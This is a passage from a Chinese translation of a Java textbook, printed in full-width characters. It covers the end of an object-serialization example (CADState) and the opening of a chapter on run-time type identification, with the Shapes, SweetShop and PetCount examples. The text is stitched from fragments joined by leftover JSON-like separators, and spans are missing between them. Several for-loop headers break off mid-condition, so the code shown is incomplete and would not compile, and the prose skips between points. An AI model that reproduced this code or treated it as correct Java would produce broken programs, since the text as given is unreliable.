＝ ｘＶａｌ； ｙＰｏｓ ＝ ｙＶａｌ； ｄｉｍｅｎｓｉｏｎ ＝ ｄｉｍ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ ｇｅｔＣｌａｓｓ（）．ｔｏＳｔｒｉｎｇ（） ＋ ＂ ｃｏｌｏｒ［＂ ＋ ｇｅｔＣｏｌｏｒ（） ＋ ＂］ ｘＰｏｓ［＂ ＋ ｘＰｏｓ ＋ ＂］ ｙＰｏｓ［＂ ＋ ｙＰｏｓ ＋ ＂］ ｄｉｍ［＂ ＋ ｄｉｍｅｎｓｉｏｎ ＋ ＂］＼ｎ＂； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｓｈａｐｅ ｒａｎｄｏｍＦａｃｔｏｒｙ（） ｛ ｉｎｔ ｘＶａｌ ＝ ｒ．ｎｅｘｔＩｎｔ（） ％ １００； ３２８ ｉｎｔ ｙＶａｌ ＝ ｒ．ｎｅｘｔＩｎｔ（） ％ １００； ｉｎｔ ｄｉｍ ＝ ｒ．ｎｅｘｔＩｎｔ（） ％ １００； ｓｗｉｔｃｈ（ｃｏｕｎｔｅｒ＋＋ ％ ３） ｛ ｄｅｆａｕｌｔ： ｃａｓｅ ０： ｒｅｔｕｒｎ ｎｅｗ Ｃｉｒｃｌｅ（ｘＶａｌ， ｙＶａｌ， ｄｉｍ）； ｃａｓｅ １： ｒｅｔｕｒｎ ｎｅｗ Ｓｑｕａｒｅ（ｘＶａｌ， ｙＶａｌ， ｄｉｍ）； ｃａｓｅ ２： ｒｅｔｕｒｎ ｎｅｗ Ｌｉｎｅ（ｘＶａｌ， ｙＶａｌ， ｄｉｍ）； ｝ ｝ ｝ ｃｌａｓｓ Ｃｉｒｃｌｅ ｅｘｔｅｎｄｓ Ｓｈａｐｅ ｛ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｉｎｔ ｃｏｌｏｒ ＝ ＲＥＤ； ｐｕｂｌｉｃ Ｃｉｒｃｌｅ（ｉｎｔ ｘＶａｌ， ｉｎｔ ｙＶａｌ， ｉｎｔ ｄｉｍ） ｛ ｓｕｐｅｒ（ｘＶａｌ， ｙＶａｌ， ｄｉｍ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＣｏｌｏｒ（ｉｎｔ ｎｅｗＣｏｌｏｒ） ｛ ｃｏｌｏｒ ＝ ｎｅｗＣｏｌｏｒ； ｝ ｐｕｂｌｉｃ ｉｎｔ ｇｅｔＣｏｌｏｒ（） ｛ ｒｅｔｕｒｎ ｃｏｌｏｒ； ｝ ｝ ｃｌａｓｓ Ｓｑｕａｒｅ ｅｘｔｅｎｄｓ Ｓｈａｐｅ ｛ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｉｎｔ ｃｏｌｏｒ； ｐｕｂｌｉｃ Ｓｑｕａｒｅ（ｉｎｔ ｘＶａｌ， ｉｎｔ ｙＶａｌ， ｉｎｔ ｄｉｍ） ｛ ｓｕｐｅｒ（ｘＶａｌ， ｙＶａｌ， ｄｉｍ）； ｃｏｌｏｒ ＝ ＲＥＤ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＣｏｌｏｒ（ｉｎｔ ｎｅｗＣｏｌｏｒ） ｛ ｃｏｌｏｒ ＝ ｎｅｗＣｏｌｏｒ； ｝ ｐｕｂｌｉｃ ｉｎｔ ｇｅｔＣｏｌｏｒ（） ｛ ｒｅｔｕｒｎ ｃｏｌｏｒ； ｝ ｝ ｃｌａｓｓ Ｌｉｎｅ ｅｘｔｅｎｄｓ Ｓｈａｐｅ ｛ ｐｒｉｖａｔｅ ｓｔａｔｉｃ ｉｎｔ ｃｏｌｏｒ ＝ ＲＥＤ； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｓｅｒｉａｌｉｚｅＳｔａｔｉｃＳｔａｔｅ（ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ ｏｓ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ ｛ ｏｓ．ｗｒｉｔｅＩｎｔ（ｃｏｌｏｒ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｄｅｓｅｒｉａｌｉｚｅＳｔａｔｉｃＳｔａｔｅ（ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ ｏｓ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ ｛ ｃｏｌｏｒ ＝ ｏｓ．ｒｅａｄＩｎｔ（）； ｝ ｐｕｂｌｉｃ Ｌｉｎｅ（ｉｎｔ ｘＶａｌ， ｉｎｔ ｙＶａｌ， ｉｎｔ ｄｉｍ） ｛ ｓｕｐｅｒ（ｘＶａｌ， ｙＶａｌ， ｄｉｍ）； ３２９ ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＣｏｌｏｒ（ｉｎｔ ｎｅｗＣｏｌｏｒ） ｛ ｃｏｌｏｒ ＝ ｎｅｗＣｏｌｏｒ； ｝ ｐｕｂｌｉｃ ｉｎｔ ｇｅｔＣｏｌｏｒ（） ｛ ｒｅｔｕｒｎ ｃｏｌｏｒ； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＣＡＤＳｔａｔｅ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｔｈｒｏｗｓ Ｅｘｃｅｐｔｉｏｎ ｛ Ｖｅｃｔｏｒ ｓｈａｐｅＴｙｐｅｓ， ｓｈａｐｅｓ； ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＝＝ ０） ｛ ｓｈａｐｅＴｙｐｅｓ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｓｈａｐｅｓ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ／／ Ａｄｄ ｈａｎｄｌｅｓ ｔｏ ｔｈｅ ｃｌａｓｓ ｏｂｊｅｃｔｓ： ｓｈａｐｅＴｙｐｅｓ．ａｄｄＥｌｅｍｅｎｔ（Ｃｉｒｃｌｅ．ｃｌａｓｓ）； ｓｈａｐｅＴｙｐｅｓ．ａｄｄＥｌｅｍｅｎｔ（Ｓｑｕａｒｅ．ｃｌａｓｓ）； ｓｈａｐｅＴｙｐｅｓ．ａｄｄＥｌｅｍｅｎｔ（Ｌｉｎｅ．ｃｌａｓｓ）； ／／ Ｍａｋｅ ｓｏｍｅ ｓｈａｐｅｓ： ｆｏｒ（ｉｎｔ ｉ ＝ ０；"},
    {"text": "ｉ＋＋） ｓｈａｐｅｓ．ａｄｄＥｌｅｍｅｎｔ（Ｓｈａｐｅ．ｒａｎｄｏｍＦａｃｔｏｒｙ（））； ／／ Ｓｅｔ ａｌｌ ｔｈｅ ｓｔａｔｉｃ ｃｏｌｏｒｓ ｔｏ ＧＲＥＥＮ： ｆｏｒ（ｉｎｔ ｉ ＝ ０；"},
    {"text": "ｉ＋＋） （（Ｓｈａｐｅ）ｓｈａｐｅｓ．ｅｌｅｍｅｎｔＡｔ（ｉ）） ．ｓｅｔＣｏｌｏｒ（Ｓｈａｐｅ．ＧＲＥＥＮ）； ／／ Ｓａｖｅ ｔｈｅ ｓｔａｔｅ ｖｅｃｔｏｒ： ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ ｏｕｔ ＝ ｎｅｗ ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ（＂ＣＡＤＳｔａｔｅ．ｏｕｔ＂））； ｏｕｔ．ｗｒｉｔｅＯｂｊｅｃｔ（ｓｈａｐｅＴｙｐｅｓ）； Ｌｉｎｅ．ｓｅｒｉａｌｉｚｅＳｔａｔｉｃＳｔａｔｅ（ｏｕｔ）； ｏｕｔ．ｗｒｉｔｅＯｂｊｅｃｔ（ｓｈａｐｅｓ）； ｝ ｅｌｓｅ ｛ ／／ Ｔｈｅｒｅ＇ｓ ａ ｃｏｍｍａｎｄ－ｌｉｎｅ ａｒｇｕｍｅｎｔ ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ ｉｎ ＝ ｎｅｗ ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ（ａｒｇｓ［０］））； ／／ Ｒｅａｄ ｉｎ ｔｈｅ ｓａｍｅ ｏｒｄｅｒ ｔｈｅｙ ｗｅｒｅ ｗｒｉｔｔｅｎ： ｓｈａｐｅＴｙｐｅｓ ＝ （Ｖｅｃｔｏｒ）ｉｎ．ｒｅａｄＯｂｊｅｃｔ（）； Ｌｉｎｅ．ｄｅｓｅｒｉａｌｉｚｅＳｔａｔｉｃＳｔａｔｅ（ｉｎ）； ｓｈａｐｅｓ ＝ （Ｖｅｃｔｏｒ）ｉｎ．ｒｅａｄＯｂｊｅｃｔ（）； ｝ ／／ Ｄｉｓｐｌａｙ ｔｈｅ ｓｈａｐｅｓ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓｈａｐｅｓ）；"},
    {"text": "｝ ｝ ／／／：￣ Ｓｈａｐｅ（几何形状）类“实现了可序列化”（ｉｍｐｌｅｍｅｎｔｓ Ｓｅｒｉａｌｉｚａｂｌｅ），所以从 Ｓｈａｐｅ 继承的任何东西也 都会自动“可序列化”。"},
    {"text": "每个 Ｓｈａｐｅ 都包含了数据，而且每个衍生的 Ｓｈａｐｅ 类都包含了一个特殊的 ｓｔａｔｉｃ 字 段，用于决定所有那些类型的 Ｓｈａｐｅ 的颜色（如将一个 ｓｔａｔｉｃ 字段置入基础类，结果只会产生一个字段，因 为 ｓｔａｔｉｃ 字段未在衍生类中复制）。 可对基础类中的方法进行覆盖处理，以便为不同的类型设置颜色 ３３０ （ｓｔａｔｉｃ 方法不会动态绑定，所以这些都是普通的方法）。"},
    {"text": "若不提供相应的命令行参数，就 会创建 ｓｈａｐｅＴｙｐｅｓ Ｖｅｃｔｏｒ，并添加 Ｃｌａｓｓ 对象。 然后创建 ｓｈａｐｅｓ Ｖｅｃｔｏｒ，并添加 Ｓｈａｐｅ 对象。 接下来，所 有 ｓｔａｔｉｃ ｃｏｌｏｒ 值都会设成 ＧＲＥＥＮ，而且所有东西都会序列化到文件 ＣＡＤＳｔａｔｅ．ｏｕｔ。"},
    {"text": "下面列出它某一次运行的结果： ＞ｊａｖａ ＣＡＤＳｔａｔｅ ［ｃｌａｓｓ Ｃｉｒｃｌｅ ｃｏｌｏｒ［３］ ｘＰｏｓ［－５１］ ｙＰｏｓ［－９９］ ｄｉｍ［３８］ ， ｃｌａｓｓ Ｓｑｕａｒｅ ｃｏｌｏｒ［３］ ｘＰｏｓ［２］ ｙＰｏｓ［６１］ ｄｉｍ［－４６］ ， ｃｌａｓｓ Ｌｉｎｅ ｃｏｌｏｒ［３］ ｘＰｏｓ［５１］ ｙＰｏｓ［７３］ ｄｉｍ［６４］ ， ｃｌａｓｓ Ｃｉｒｃｌｅ ｃｏｌｏｒ［３］ ｘＰｏｓ［－７０］ ｙＰｏｓ［１］ ｄｉｍ［１６］ ， ｃｌａｓｓ Ｓｑｕａｒｅ ｃｏｌｏｒ［３］ ｘＰｏｓ［３］ ｙＰｏｓ［９４］ ｄｉｍ［－３６］ ， ｃｌａｓｓ Ｌｉｎｅ ｃｏｌｏｒ［３］ ｘＰｏｓ［－８４］ ｙＰｏｓ［－２１］ ｄｉｍ［ －３５］ ， ｃｌａｓｓ Ｃｉｒｃｌｅ ｃｏｌｏｒ［３］ ｘＰｏｓ［－７５］ ｙＰｏｓ［－４３］ ｄｉｍ［２２］ ， ｃｌａｓｓ Ｓｑｕａｒｅ ｃｏｌｏｒ［３］ ｘＰｏｓ［８１］ ｙＰｏｓ［３０］ ｄｉｍ［－４５］ ， ｃｌａｓｓ Ｌｉｎｅ ｃｏｌｏｒ［３］ ｘＰｏｓ［－２９］ ｙＰｏｓ［９２］ ｄｉｍ［１７］ ， ｃｌａｓｓ Ｃｉｒｃｌｅ ｃｏｌｏｒ［３］ ｘＰｏｓ［１７］ ｙＰｏｓ［９０］ ｄｉｍ［－７６］ ］ ＞ｊａｖａ ＣＡＤＳｔａｔｅ ＣＡＤＳｔａｔｅ．ｏｕｔ ［ｃｌａｓｓ Ｃｉｒｃｌｅ ｃｏｌｏｒ［１］ ｘＰｏｓ［－５１］ ｙＰｏｓ［－９９］ ｄｉｍ［３８］ ， ｃｌａｓｓ Ｓｑｕａｒｅ ｃｏｌｏｒ［０］ ｘＰｏｓ［２］ ｙＰｏｓ［６１］ ｄｉｍ［－４６］ ， ｃｌａｓｓ Ｌｉｎｅ ｃｏｌｏｒ［３］ ｘＰｏｓ［５１］ ｙＰｏｓ［７３］ ｄｉｍ［６４］ ， ｃｌａｓｓ Ｃｉｒｃｌｅ ｃｏｌｏｒ［１］ ｘＰｏｓ［－７０］ ｙＰｏｓ［１］ ｄｉｍ［１６］ ， ｃｌａｓｓ Ｓｑｕａｒｅ ｃｏｌｏｒ［０］ ｘＰｏｓ［３］ ｙＰｏｓ［９４］ ｄｉｍ［－３６］ ， ｃｌａｓｓ Ｌｉｎｅ ｃｏｌｏｒ［３］ ｘＰｏｓ［－８４］ ｙＰｏｓ［－２１］ ｄｉｍ［ －３５］ ， ｃｌａｓｓ Ｃｉｒｃｌｅ ｃｏｌｏｒ［１］ ｘＰｏｓ［－７５］ ｙＰｏｓ［－４３］ ｄｉｍ［２２］ ， ｃｌａｓｓ Ｓｑｕａｒｅ ｃｏｌｏｒ［０］ ｘＰｏｓ［８１］ ｙＰｏｓ［３０］ ｄｉｍ［ －４５］ ， ｃｌａｓｓ Ｌｉｎｅ ｃｏｌｏｒ［３］ ｘＰｏｓ［－２９］ ｙＰｏｓ［９２］ ｄｉｍ［１７］ ， ｃｌａｓｓ Ｃｉｒｃｌｅ ｃｏｌｏｒ［１］ ｘＰｏｓ［１７］ ｙＰｏｓ［９０］ ｄｉｍ［－７６］ ］ 从中可以看出，ｘＰｏｓ，ｙＰｏｓ 以及 ｄｉｍ 的值都已成功保存和恢复出来。"},
    {"text": "这正是 Ｌｉｎｅ 中的 ｓｅｒｉａｌｉｚｅＳｔａｔｉｃＳｔａｔｅ（）和 ｄｅｓｅｒｉａｌｉｚｅＳｔａｔｉｃＳｔａｔｅ（）两个 ｓｔａｔｉｃ 方法的用途。"},
    {"text": "所以为了使 ＣＡＤＳｔａｔｅ．ｊａｖａ 正确运行起来，必须采用下述三种方法之一： （１） 为几何形状添加一个 ｓｅｒｉａｌｉｚｅＳｔａｔｉｃＳｔａｔｅ（）和 ｄｅｓｅｒｉａｌｉｚｅＳｔａｔｉｃＳｔａｔｅ（）。"},
    {"text": "（２） 删除 Ｖｅｃｔｏｒ ｓｈａｐｅＴｙｐｅｓ 以及与之有关的所有代码 （３） 在几何形状内添加对新序列化和撤消序列化静态方法的调用 要注意的另一个问题是安全，因为序列化处理也会将 ｐｒｉｖａｔｅ 数据保存下来。"},
    {"text": "比如当我们打开一个文件以便输出时，完全 可以指定一旦有人试图覆盖该文件就“掷”出一个违例——有的编程系统允许我们自行指定想打开一个输出 文件，但唯一的前提是它尚不存在。"},
    {"text": "但在 Ｊａｖａ 中，似乎必须用一个 Ｆｉｌｅ 对象来判断某个文件是否存在，因 为假如将其作为 ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ 或者 ＦｉｌｅＷｒｉｔｅｒ 打开，那么肯定会被覆盖。"},
    {"text": "而且它并不完整：没有提供对输出格式化的支持，而其他几乎所有语言的 ＩＯ 包都提供了这方面的支持（这一 点没有在 Ｊａｖａ １．１ 里得以纠正，它完全错失了改变库设计方案的机会，反而增添了更特殊的一些情况，使复 杂程度进一步提高）。"},
    {"text": "３３２ 第 １ １ 章 运行期类型鉴定 运行期类型鉴定（ＲＴＴＩ）的概念初看非常简单——手上只有基础类型的一个句柄时，利用它判断一个对象的 正确类型。"},
    {"text": "面向对象编程的基本目标是用大量代码 控制基础类型（这里是 Ｓｈａｐｅ）的句柄，所以假如决定添加一个新类（比如 Ｒｈｏｍｂｏｉｄ ，从 Ｓｈａｐｅ 衍生），从 而对程序进行扩展，那么不会影响到原来的代码。"},
    {"text": "所以，我们一般创建一个特定的对象（Ｃｉｒｃｌｅ，Ｓｑｕａｒｅ，或者 Ｔｒｉａｎｇｌｅ），把它上溯造型到一个 Ｓｈａｐｅ（忽 略对象的特殊类型），以后便在程序的剩余部分使用匿名 Ｓｈａｐｅ 句柄。"},
    {"text": "作为对多形性和上溯造型的一个简要回顾，可以象下面这样为上述例子编码（若执行这个程序时出现困难， 请参考第 ３ 章 ３．１．２ 小节“赋值”）： ／／： Ｓｈａｐｅｓ．ｊａｖａ ｐａｃｋａｇｅ ｃ１１；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｉｎｔｅｒｆａｃｅ Ｓｈａｐｅ ｛ ｖｏｉｄ ｄｒａｗ（）； ｝ ｃｌａｓｓ Ｃｉｒｃｌｅ ｉｍｐｌｅｍｅｎｔｓ Ｓｈａｐｅ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｄｒａｗ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｉｒｃｌｅ．ｄｒａｗ（）＂）； ｝ ｝ ｃｌａｓｓ Ｓｑｕａｒｅ ｉｍｐｌｅｍｅｎｔｓ Ｓｈａｐｅ ｛ ３３３ ｐｕｂｌｉｃ ｖｏｉｄ ｄｒａｗ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｑｕａｒｅ．ｄｒａｗ（）＂）； ｝ ｝ ｃｌａｓｓ Ｔｒｉａｎｇｌｅ ｉｍｐｌｅｍｅｎｔｓ Ｓｈａｐｅ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｄｒａｗ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｒｉａｎｇｌｅ．ｄｒａｗ（）＂）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｓｈａｐｅｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｓ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｓ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｃｉｒｃｌｅ（））； ｓ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｓｑｕａｒｅ（））； ｓ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｔｒｉａｎｇｌｅ（））； Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｓ．ｅｌｅｍｅｎｔｓ（）； ｗｈｉｌｅ（ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） （（Ｓｈａｐｅ）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（））．ｄｒａｗ（）；"},
    {"text": "由于 Ｓｈａｐｅ 没有真正 的成员（亦即有定义的成员），而且并不在意我们创建了一个纯粹的 Ｓｈａｐｅ 对象，所以最适合和最灵活的表 达方式便是用一个接口。"},
    {"text": "这是 ＲＴＴＩ 最基本的形 式，因为在 Ｊａｖａ 中，所有造型都会在运行期间得到检查，以确保其正确性。 那正是 ＲＴＴＩ 的意义所在：在运 行期，对象的类型会得到鉴定。"},
    {"text": "在目前这种情况下，ＲＴＴＩ 造型只实现了一部分：Ｏｂｊｅｃｔ 造型成 Ｓｈａｐｅ，而不是造型成 Ｃｉｒｃｌｅ，Ｓｑｕａｒｅ 或者 Ｔｒｉａｎｇｌｅ。"},
    {"text": "现在的局面会由多形性控制，而且会为 Ｓｈａｐｅ 调用适当的方法，以便判断句柄到底是提供 Ｃｉｒｃｌｅ，Ｓｑｕａｒｅ， 还是提供给 Ｔｒｉａｎｇｌｅ。"},
    {"text": "举个例子来说，我们有时候想让自己的用户将某一具体类型的几何形状（如三角 形）全都变成紫色，以便突出显示它们，并快速找出这一类型的所有形状。"},
    {"text": "这时要用到一个名为 “Ｃｌａｓｓ 对象”的特殊形式的对象，其中包含了与类有关的信息（有时也把它叫作“元类”）。 事实上，我 们要用 Ｃｌａｓｓ 对象创建属于某个类的全部“常规”或“普通”对象。 对于作为程序一部分的每个类，它们都有一个 Ｃｌａｓｓ 对象。 换言之，每次写一个新类时，同时也会创建一个 ３３４ Ｃｌａｓｓ 对象（更恰当地说，是保存在一个完全同名的．ｃｌａｓｓ 文件中）。 在运行期，一旦我们想生成那个类的 一个对象，用于执行程序的 Ｊａｖａ 虚拟机（ＪＶＭ）首先就会检查那个类型的 Ｃｌａｓｓ 对象是否已经载入。"},
    {"text": "若这种说法多少让你产生了一点儿迷惑，或者并没有真正理解它，下面这个示范程序或许能提供进一步的帮 助： ／／： ＳｗｅｅｔＳｈｏｐ．ｊａｖａ ／／ Ｅｘａｍｉｎａｔｉｏｎ ｏｆ ｔｈｅ ｗａｙ ｔｈｅ ｃｌａｓｓ ｌｏａｄｅｒ ｗｏｒｋｓ ｃｌａｓｓ Ｃａｎｄｙ ｛ ｓｔａｔｉｃ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｌｏａｄｉｎｇ Ｃａｎｄｙ＂）；"},
    {"text": "｝ ｝ ｃｌａｓｓ Ｇｕｍ ｛ ｓｔａｔｉｃ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｌｏａｄｉｎｇ Ｇｕｍ＂）； ｝ ｝ ｃｌａｓｓ Ｃｏｏｋｉｅ ｛ ｓｔａｔｉｃ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｌｏａｄｉｎｇ Ｃｏｏｋｉｅ＂）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＳｗｅｅｔＳｈｏｐ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｉｎｓｉｄｅ ｍａｉｎ＂）； ｎｅｗ Ｃａｎｄｙ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ａｆｔｅｒ ｃｒｅａｔｉｎｇ Ｃａｎｄｙ＂）； ｔｒｙ ｛ Ｃｌａｓｓ．ｆｏｒＮａｍｅ（＂Ｇｕｍ＂）； ｝ ｃａｔｃｈ（ＣｌａｓｓＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ａｆｔｅｒ Ｃｌａｓｓ．ｆｏｒＮａｍｅ（＼＂Ｇｕｍ＼＂）＂）； ｎｅｗ Ｃｏｏｋｉｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ａｆｔｅｒ ｃｒｅａｔｉｎｇ Ｃｏｏｋｉｅ＂）；"},
    {"text": "而 Ｃｌａｓｓ 对象和其他任何对象都是类似的， ３３５ 所以能够获取和控制它的一个句柄（装载模块就是干这件事的）。 为获得 Ｃｌａｓｓ 的一个句柄，一个办法是使 用 ｆｏｒＮａｍｅ（）。"},
    {"text": "该程序在某个 ＪＶＭ 中的输出如下： ｉｎｓｉｄｅ ｍａｉｎ Ｌｏａｄｉｎｇ Ｃａｎｄｙ Ａｆｔｅｒ ｃｒｅａｔｉｎｇ Ｃａｎｄｙ Ｌｏａｄｉｎｇ Ｇｕｍ Ａｆｔｅｒ Ｃｌａｓｓ．ｆｏｒＮａｍｅ（＂Ｇｕｍ＂） Ｌｏａｄｉｎｇ Ｃｏｏｋｉｅ Ａｆｔｅｒ ｃｒｅａｔｉｎｇ Ｃｏｏｋｉｅ 可以看到，每个 Ｃｌａｓｓ 只有在它需要的时候才会载入，而 ｓｔａｔｉｃ 初始化工作是在类载入时执行的。 非常有趣的是，另一个 ＪＶＭ 的输出变成了另一个样子： Ｌｏａｄｉｎｇ Ｃａｎｄｙ Ｌｏａｄｉｎｇ Ｃｏｏｋｉｅ ｉｎｓｉｄｅ ｍａｉｎ Ａｆｔｅｒ ｃｒｅａｔｉｎｇ Ｃａｎｄｙ Ｌｏａｄｉｎｇ Ｇｕｍ Ａｆｔｅｒ Ｃｌａｓｓ．ｆｏｒＮａｍｅ（＂Ｇｕｍ＂） Ａｆｔｅｒ ｃｒｅａｔｉｎｇ Ｃｏｏｋｉｅ 看来 ＪＶＭ 通过检查 ｍａｉｎ（）中的代码，已经预测到了对 Ｃａｎｄｙ 和 Ｃｏｏｋｉｅ 的需要，但却看不到 Ｇｕｍ，因为它是通 过对 ｆｏｒＮａｍｅ（）的一个调用创建的，而不是通过更典型的 ｎｅｗ 调用。"},
    {"text": "ＴＹＰＥ 字段的作用是为相关的基本数据类型产生 Ｃｌａｓｓ 对象的一个句柄，如下所示： ． ． ． ｉ ｓ ｅ ｑ ｕ ｉ ｖ ａ ｌ ｅ ｎ ｔ ｔ ｏ ． ． ． ｂｏｏｌｅａｎ．ｃｌａｓｓ Ｂｏｏｌｅａｎ．ＴＹＰＥ ｃｈａｒ．ｃｌａｓｓ Ｃｈａｒａｃｔｅｒ．ＴＹＰＥ ｂｙｔｅ．ｃｌａｓｓ Ｂｙｔｅ．ＴＹＰＥ ｓｈｏｒｔ．ｃｌａｓｓ Ｓｈｏｒｔ．ＴＹＰＥ ｉｎｔ．ｃｌａｓｓ Ｉｎｔｅｇｅｒ．ＴＹＰＥ ｌｏｎｇ．ｃｌａｓｓ Ｌｏｎｇ．ＴＹＰＥ ｆｌｏａｔ．ｃｌａｓｓ Ｆｌｏａｔ．ＴＹＰＥ ｄｏｕｂｌｅ．ｃｌａｓｓ Ｄｏｕｂｌｅ．ＴＹＰＥ ｖｏｉｄ．ｃｌａｓｓ Ｖｏｉｄ．ＴＹＰＥ ３３６ １ １ ． １ ． ２ 造型前的检查 迄今为止，我们已知的 ＲＴＴＩ 形式包括： （１） 经典造型，如＂（Ｓｈａｐｅ）＂，它用 ＲＴＴＩ 确保造型的正确性，并在遇到一个失败的造型后产生一个 ＣｌａｓｓＣａｓｔＥｘｃｅｐｔｉｏｎ 违例。"},
    {"text": "若将一个 Ｃｉｒｃｌｅ（圆）造型到一个 Ｓｈａｐｅ（几何形状），就叫做上溯造型，因为圆只是几 何形状的一个子集。 反之，若将 Ｓｈａｐｅ 造型至 Ｃｉｒｃｌｅ，就叫做下溯造型。"},
    {"text": "然而，尽管我们明确知道 Ｃｉｒｃｌｅ 也是一个 Ｓｈａｐｅ，所以编译器能够自动上溯造型，但却不能保证一个 Ｓｈａｐｅ 肯定是一个 Ｃｉｒｃｌｅ。"},
    {"text": "将 ｘ 造型至一个 Ｄｏｇ 前，上面的 ｉｆ 语句会检查对象 ｘ 是否从属于 Ｄｏｇ 类。 进行造型前，如果没有其他信息可 以告诉自己对象的类型，那么 ｉｎｓｔａｎｃｅｏｆ 的使用是非常重要的——否则会得到一个 ＣｌａｓｓＣａｓｔＥｘｃｅｐｔｉｏｎ 违 例。"},
    {"text": "／／： ＰｅｔＣｏｕｎｔ．ｊａｖａ ／／ Ｕｓｉｎｇ ｉｎｓｔａｎｃｅｏｆ ｐａｃｋａｇｅ ｃ１１．ｐｅｔｃｏｕｎｔ； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｃｌａｓｓ Ｐｅｔ ｛｝ ｃｌａｓｓ Ｄｏｇ ｅｘｔｅｎｄｓ Ｐｅｔ ｛｝ ｃｌａｓｓ Ｐｕｇ ｅｘｔｅｎｄｓ Ｄｏｇ ｛｝ ｃｌａｓｓ Ｃａｔ ｅｘｔｅｎｄｓ Ｐｅｔ ｛｝ ｃｌａｓｓ Ｒｏｄｅｎｔ ｅｘｔｅｎｄｓ Ｐｅｔ ｛｝ ｃｌａｓｓ Ｇｅｒｂｉｌ ｅｘｔｅｎｄｓ Ｒｏｄｅｎｔ ｛｝ ｃｌａｓｓ Ｈａｍｓｔｅｒ ｅｘｔｅｎｄｓ Ｒｏｄｅｎｔ ｛｝ ｃｌａｓｓ Ｃｏｕｎｔｅｒ ｛ ｉｎｔ ｉ； ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＰｅｔＣｏｕｎｔ ｛ ｓｔａｔｉｃ Ｓｔｒｉｎｇ［］ ｔｙｐｅｎａｍｅｓ ＝ ｛ ＂Ｐｅｔ＂， ＂Ｄｏｇ＂， ＂Ｐｕｇ＂， ＂Ｃａｔ＂， ＂Ｒｏｄｅｎｔ＂， ＂Ｇｅｒｂｉｌ＂， ＂Ｈａｍｓｔｅｒ＂， ｝； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｐｅｔｓ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｔｒｙ ｛ Ｃｌａｓｓ［］ ｐｅｔＴｙｐｅｓ ＝ ｛ 